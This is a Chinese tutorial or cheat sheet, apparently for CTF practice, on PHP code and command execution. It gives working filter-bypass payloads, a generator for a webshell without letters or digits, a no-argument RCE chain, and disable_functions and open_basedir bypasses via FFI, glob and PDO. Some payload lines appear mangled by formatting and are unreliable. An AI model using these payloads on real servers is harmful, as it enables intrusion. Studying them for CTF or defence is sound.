PHP中的代码执行,命令执行与常见bypass技巧
字数 1876 2025-08-11 08:36:02
PHP中的代码执行、命令执行与常见Bypass技巧
一、命令执行与代码执行的区别
在PHP中,代码执行和命令执行是两个不同的概念:
- 代码执行:执行PHP代码(如
eval()执行PHP字符串) - 命令执行:执行Linux系统命令(如
system()执行shell命令)
关键区别:有些代码在PHP下看起来有错,但在Linux下是正确的。
二、常见的代码执行函数
1. eval($string)
- 将字符串作为PHP代码执行
- 字符串必须是合法PHP代码,必须以分号结尾
- 语言构造器(非函数),不能被可变函数调用
- 无分号时可用
?>代替
2. assert($assertion)
- 字符串参数会被当作PHP代码执行
- 可以不以分号结尾
- PHP7后变为语言构造器
3. call_user_func(\(func,\)string)
- 用于函数调用
- 第一个参数为调用函数,第二个为回调参数
- 危险函数,但不算严格意义上的代码执行
三、常见的命令执行函数
1. system()
- 执行外部程序命令
- 输出执行结果并返回最后一行
- 含空格的命令需要加引号
2. exec()
- 执行外部程序
- 只返回执行结果的最后一行
- 无输出打印
3. passthru()
- 执行外部程序并显示原始输出
4. shell_exec()
- 等价于反引号
` - 通过shell环境执行命令
- 完整输出以字符串返回
- 需要echo才能显示结果
四、Linux文件查看函数
可用于读取文件内容的命令:
more:分页显示less:类似morehead:查看头几行tac:反向显示(cat的反向)tail:查看尾几行nl:显示行号od:二进制读取(-c参数读内容)vi/vim:编辑器查看sort:可查看uniq:可查看
五、Bypass技巧
1. 特殊字符绕过
空格绕过:
%09(tab)- 重定向
<> ${IFS}/**/(注释符)
单词绕过:
cat→ca\tflag→fl\ag、fl''ag、f*
字母绕过:
FLAG→F[9-M][9-M]G
2. 重定义$GET绕过
前提:存在eval($GET[1])
payload:
1=$_GET[2]&2=phpinfo();
3. 无参RCE
利用PHP函数链实现无参数RCE:
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
关键函数:
localeconv():返回本地数字及货币格式信息数组(第一个值是".")current()/pos():返回数组当前元素next():指针下移并输出array_reverse():倒序数组scandir():返回目录文件和目录数组highlight_file()/show_source():高亮显示文件
4. 无字母数字webshell
异或型:
<?php
$l = "";$r = "";
$argv = str_split("cat flag.php");
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++){
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";$r .= "%0".dechex($j);continue;
}
$l .= "%ff";$r .= "%".dechex($j);
}
}
}
echo "('$l')^('$r')";
?>
取反型:
urlencode(~"phpinfo");
urlencode(~"system");
特殊型:
$ctfshow=$P=$_(C+3+1)(C+2)(C+XX)=
$$
P(1)(
$$
P(2))
// 等价于
$ctfshow =$P=$_GET=$_GET(1)($_GET(2))
5. Linux逻辑运算符
控制命令执行流程:
;:顺序执行|:只执行后面命令||:只执行前面命令&:两条都执行(后台)&&:两条都执行(前成功才执行后)
6. 通配符绕过
利用通配符匹配命令:
/???/????64→/bin/base64 flag.php?c=/usr/bin/bzip2 flag.php→ 生成flag.php.bz2
7. 数字构造
Linux下数字构造技巧:
$(())=0- 设
a=1,则$((aaaa))=-4 $((~$((aaaa))))=3 (取反减1)
六、disable_function绕过
1. 预期解法
使用PHP文件读取函数:
highlight_file()file_get_contents()show_source()fgets()file()readfile()
其他姿势:
$a=fopen("flag.php","r");
while (!feof($a)) {
$line = fgets($a);
echo $line;
}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
2. 提前终止
防止后续代码修改:
include("/flag.txt");die;
// 或
include("/flag.txt");exit();
3. open_dir绕过
glob绕过:
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){echo $f."||";}
exit();
数据库绕过:
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
exit(0);
FFI绕过(PHP>7.4):
$ffi=FFI::cdef("int system(char *command);", "libc.so.6");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();
七、写文件利用
当无回显时:
- 重定向写文件:
echo "123">1.txt - tee管道写文件:
ls|tee 1.txt - source命令:
source flag.txt # 或 . flag.txt
八、其他技巧
1. 使用.代替source
. flag.txt
2. 通配符匹配临时文件
PHP上传文件保存在/tmp/phpXXXXXX,可用通配符匹配:
[@-]] # 匹配大写字母(ASCII 64-91)
3. 文件包含利用
include("/flag.txt");die;
这篇文档涵盖了PHP代码执行、命令执行的主要函数和常见绕过技巧,包括特殊字符绕过、无参RCE、无字母数字webshell、disable_function绕过等高级技术。使用时请遵守法律法规,仅用于合法授权测试。